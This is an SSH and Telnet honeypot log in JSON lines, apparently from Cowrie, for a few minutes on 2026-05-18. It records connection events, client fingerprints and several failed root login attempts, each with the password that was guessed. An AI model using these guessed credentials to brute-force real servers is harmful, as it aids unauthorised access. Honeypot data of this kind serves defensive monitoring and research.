{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":51150,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e02e3968f09","protocol":"ssh","message":"New connection: 103.173.227.57:51150 (159.203.135.109:22) [session: 5e02e3968f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:25.185557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:25.194794Z","src_ip":"103.173.227.57","session":"5e02e3968f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:25.434651Z","src_ip":"103.173.227.57","session":"5e02e3968f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"m0unta!n","message":"login attempt [root/m0unta!n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:26.156487Z","src_ip":"103.173.227.57","session":"5e02e3968f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2432eb503ba2","protocol":"telnet","message":"New connection: 152.42.224.71:48930 (10.17.0.5:23) [session: 2432eb503ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:27.197792Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:27.399012Z","src_ip":"103.173.227.57","session":"5e02e3968f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":51984,"dst_ip":"10.17.0.5","dst_port":22,"session":"b81995524164","protocol":"ssh","message":"New connection: 128.201.9.152:51984 (10.17.0.5:22) [session: b81995524164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:28.525479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:28.530396Z","src_ip":"128.201.9.152","session":"b81995524164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:28.659813Z","src_ip":"128.201.9.152","session":"b81995524164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"burhan123","message":"login attempt [root/burhan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:29.205392Z","src_ip":"128.201.9.152","session":"b81995524164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:30.337566Z","src_ip":"128.201.9.152","session":"b81995524164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53714,"dst_ip":"10.17.0.5","dst_port":22,"session":"0897f6cd1145","protocol":"ssh","message":"New connection: 103.153.68.219:53714 (10.17.0.5:22) [session: 0897f6cd1145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:34.413499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:34.417886Z","src_ip":"103.153.68.219","session":"0897f6cd1145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:34.666907Z","src_ip":"103.153.68.219","session":"0897f6cd1145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321678","message":"login attempt [root/321678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:35.415211Z","src_ip":"103.153.68.219","session":"0897f6cd1145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:36.666861Z","src_ip":"103.153.68.219","session":"0897f6cd1145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":55928,"dst_ip":"10.17.0.5","dst_port":22,"session":"58671aa12670","protocol":"ssh","message":"New connection: 43.153.70.247:55928 (10.17.0.5:22) [session: 58671aa12670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:45.365259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:45.370368Z","src_ip":"43.153.70.247","session":"58671aa12670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:45.439064Z","src_ip":"43.153.70.247","session":"58671aa12670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"locust","message":"login attempt [root/locust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:45.743660Z","src_ip":"43.153.70.247","session":"58671aa12670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:46.816345Z","src_ip":"43.153.70.247","session":"58671aa12670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.418078660964966,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:49.924515Z","src_ip":"152.42.224.71","session":"bfe23f1ee5c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41908,"dst_ip":"10.17.0.5","dst_port":23,"session":"80e1ea1973aa","protocol":"telnet","message":"New connection: 152.42.224.71:41908 (10.17.0.5:23) [session: 80e1ea1973aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:02:58.484216Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40614,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd7bc06ca08a","protocol":"ssh","message":"New connection: 103.77.242.62:40614 (159.203.135.109:22) [session: fd7bc06ca08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:00.526054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:00.531132Z","src_ip":"103.77.242.62","session":"fd7bc06ca08a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:00.767283Z","src_ip":"103.77.242.62","session":"fd7bc06ca08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moskva","message":"login attempt [root/moskva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:01.498042Z","src_ip":"103.77.242.62","session":"fd7bc06ca08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.90491318702698,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:02.102614Z","src_ip":"152.42.224.71","session":"2432eb503ba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:02.737012Z","src_ip":"103.77.242.62","session":"fd7bc06ca08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.2824330329895,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:04.013724Z","src_ip":"152.42.224.71","session":"b2142cd0f813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36836,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c9533f2912","protocol":"telnet","message":"New connection: 152.42.224.71:36836 (10.17.0.5:23) [session: 50c9533f2912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:25.267081Z"}
{"eventid":"cowrie.session.closed","duration":31.23651123046875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:29.720554Z","src_ip":"152.42.224.71","session":"80e1ea1973aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00648808479309,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:35.119880Z","src_ip":"152.42.224.71","session":"68a56c4020cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40186,"dst_ip":"10.17.0.5","dst_port":22,"session":"899f40d11a4b","protocol":"ssh","message":"New connection: 103.195.236.96:40186 (10.17.0.5:22) [session: 899f40d11a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:37.329741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:37.333674Z","src_ip":"103.195.236.96","session":"899f40d11a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:37.571595Z","src_ip":"103.195.236.96","session":"899f40d11a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barbara","message":"login attempt [root/barbara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:38.291010Z","src_ip":"103.195.236.96","session":"899f40d11a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:03:39.531512Z","src_ip":"103.195.236.96","session":"899f40d11a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.21847701072693,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:08.485410Z","src_ip":"152.42.224.71","session":"50c9533f2912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.243.76.206","src_port":60734,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f8c727e812","protocol":"telnet","message":"New connection: 168.243.76.206:60734 (159.203.135.109:23) [session: 49f8c727e812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:19.519515Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de1f75c4f15","protocol":"telnet","message":"New connection: 152.42.224.71:59264 (10.17.0.5:23) [session: 7de1f75c4f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:29.882621Z"}
{"eventid":"cowrie.session.closed","duration":13.321254014968872,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:32.840630Z","src_ip":"168.243.76.206","session":"49f8c727e812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":47820,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e8bfa19c551","protocol":"ssh","message":"New connection: 128.201.9.152:47820 (10.17.0.5:22) [session: 5e8bfa19c551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:34.082942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:34.087168Z","src_ip":"128.201.9.152","session":"5e8bfa19c551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:34.215504Z","src_ip":"128.201.9.152","session":"5e8bfa19c551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blahblah","message":"login attempt [root/blahblah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:34.763459Z","src_ip":"128.201.9.152","session":"5e8bfa19c551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:35.895899Z","src_ip":"128.201.9.152","session":"5e8bfa19c551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34784,"dst_ip":"10.17.0.5","dst_port":23,"session":"101657a7c7b3","protocol":"telnet","message":"New connection: 152.42.224.71:34784 (10.17.0.5:23) [session: 101657a7c7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:36.121898Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34786,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7d547125f9","protocol":"telnet","message":"New connection: 152.42.224.71:34786 (10.17.0.5:23) [session: 3a7d547125f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:44.804075Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"333ef03af12f","protocol":"telnet","message":"New connection: 152.42.224.71:40096 (10.17.0.5:23) [session: 333ef03af12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:54.602405Z"}
